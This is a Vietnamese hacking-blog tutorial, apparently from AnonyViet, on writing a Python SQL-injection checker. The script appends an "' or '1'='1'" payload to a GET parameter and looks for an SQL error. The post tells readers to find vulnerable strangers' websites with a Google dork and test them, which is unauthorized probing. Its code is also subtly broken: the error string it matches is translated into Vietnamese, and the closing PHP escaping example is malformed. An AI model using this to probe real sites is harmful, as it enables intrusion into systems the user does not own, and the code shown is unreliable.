Và nó sẽ chỉ hoạt động nếu các biến sử dụng GET method.
Ở đây chúng ta sẽ viết 1 đoạn code bằng ngôn ngữ python.
Chúng ta sẽ cần kết nối internet để check và 1 vulnerable website.
Để tìm 1 trang vulnerable website để thử nghiệm thì các bạn vào google gõ dorks SQLi :
inurl: "index.php? Cat_id ="
Các bạn làm theo từng bước sau đây để viết 1 đoạn code python :
- Đầu tiên mở notepad/sublime Text ,... tạo 1 file sau đó lưu lại : new.py
- Chúng ta sẽ sử dụng sys, urllib and urllib.request modules. Vì thế import những thư viện sau vào : import sys, urllib, urllib.request hoặc import sys, import urllib và import urllib.request
1. Sử dụng lệnh input(“”) để lấy dữ liệu nhập từ người dùng.
fullurl = input(“Please specify the full vulnerable url: “)
2. Code tạo một yêu cầu web
Đây là phần quan trọng nhất.
resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\'")
body = resp.read()
fullbody = body.decode(‘utf-8’)
Bây giờ làm cho chương trình của chúng ta kiểm tra xem liệu mục tiêu có dễ bị tổn thương hay không, một khi chúng ta có response thì chúng ta phải kiểm tra nếu nó có lỗi SQL.
Chúng ta sẽ sử dụng code này :
if “Nếu có lỗi trong SQL syntax” in fullbody:
print (“Website của bạn dễ bị tổn thương bởi tấn công SQL injection !!”)
else:
print (“Website của bạn không dễ bị tổn thương bởi tấn công SQL injection !!”)
Ok. Giờ chúng ta chạy lên thử nhé :
Sử dụng lệnh : python "name".py
Sau đó nhập site bạn tìm được lúc đầu vào.
Khi mình nhập website thì nó sẽ báo lỗi là dễ bị tổn thương.
Cách 2 : Sử dụng cho nhanh thì dùng
- python sqli.py -w website
Ngăn chặn SQLi on MYSQL đơn giản chỉ cần sử dụng chuỗi mysql_real_escape cho các truy vấn, ví dụ như:
$query = sprintf(“SELECT * FROM users where user=’%s’ AND password=’%s’,
mysql_real_escape_string($username)
mysql_real_escape_string($password)
Chúc các bạn thành công và đồng hành cùng AnonyViet.
Thân ái !!
No comments:
Post a Comment